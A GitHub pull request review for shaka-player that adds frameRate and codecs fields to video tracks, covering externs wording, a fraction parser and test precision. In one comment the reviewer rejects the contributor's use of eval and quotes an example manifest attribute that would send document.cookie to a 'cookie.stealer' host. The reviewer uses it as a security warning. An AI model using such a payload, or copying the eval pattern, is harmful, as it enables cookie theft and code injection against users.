Provide framerate and codecs information on video tracks#533
Provide framerate and codecs information on video tracks#533joeyparrish merged 8 commits intoshaka-project:masterfrom
Conversation
joeyparrish
left a comment
joeyparrish
left a comment
There was a problem hiding this comment.
Thanks for taking a look at this!
externs/shaka/player.js
Outdated
| * @property {?number} frameRate | ||
| * (only for video tracks) The video framerate provided in the manifest. | ||
| * @property {?string} codecs | ||
| * (only for audio and video tracks) The audio/video codecs string provided |
There was a problem hiding this comment.
Text streams can also have a codecs string, although it is not always required. I suggest dropping the parenthetical statement and adding the caveat "if present" after "in the manifest".
externs/shaka/player.js
Outdated
| * @property {?number} height | ||
| * (only for video tracks) The height of the track in pixels. | ||
| * @property {?number} frameRate | ||
| * (only for video tracks) The video framerate provided in the manifest. |
There was a problem hiding this comment.
This information is not required or used in streaming or setup, so how about"provided in the manifest, if present."
lib/dash/dash_parser.js
Outdated
| } | ||
| } | ||
|
|
||
|
|
There was a problem hiding this comment.
Style nit: drop this extra line, please
lib/dash/dash_parser.js
Outdated
| var frameRate = XmlUtils.parseAttr(elem, 'frameRate', | ||
| function(expr) { | ||
| // frameRate can be an expression e.g. "1000000/42000" | ||
| return parseFloat(String(eval(expr))); |
There was a problem hiding this comment.
Sorry, but for security reasons, we will absolutely not accept "eval".
Imagine somebody sends you a manifest with:
<Representation
frameRate="window.href='http://cookie.stealer/?'+document.cookie"
/>Or literally any other malicious thing you can think of: full-screen ads, redirection to a phishing site, anything.
If you need to parse a fraction, you'll have to write a parser. Perhaps you could add it to XmlUtils.
There was a problem hiding this comment.
Oh, of course. Very sorry about this. Don't know what I was thinking. Will fix this of course
lib/offline/offline_utils.js
Outdated
| width: stream.width, | ||
| height: stream.height | ||
| height: stream.height, | ||
| frameRate: stream.frameRate || null, |
There was a problem hiding this comment.
You'll need to add frameRate and codecs to the externs for streams stored in the database (shakaExtern.StreamDB), and you'll need to add these properties to the code which stores streams offline (shaka.offline.Storage.prototype.createStream_).
lib/util/xml_utils.js
Outdated
| var n; | ||
| if (res = exprString.match(/^(\d+)\/(\d+)$/)) { | ||
| n = Number(res[1] / res[2]); | ||
| } else if (res = exprString.match(/^([0-9]\.)$/)) { |
There was a problem hiding this comment.
With this match, Number(res[1]) is the same as Number(exprString), so I would just drop this else if completely.
| .presentationTimeOffset(0) | ||
| .mime('video/mp4', 'avc1.4d401f') | ||
| .bandwidth(100) | ||
| .frameRate(23.80952380952380952380) |
There was a problem hiding this comment.
The precision here is worrying. Are all of these digits required to get a match out of Jasmine?
There was a problem hiding this comment.
To be honest I haven't tested with a lower precision so I don't know if all of these digits are required
There was a problem hiding this comment.
I did a test and it seems that Jasmine requires full precision here.
There was a problem hiding this comment.
Okay, then. Please add a comment like:
// TODO: get Jasmine to match with less precisionAnd my team will work on it later.
…framerate in manifest unit tests
|
Testing in progress... |
|
All tests passed! |
|
Thanks! |
github-actions
bot
added
the
status: archived
3 participants
Solves #516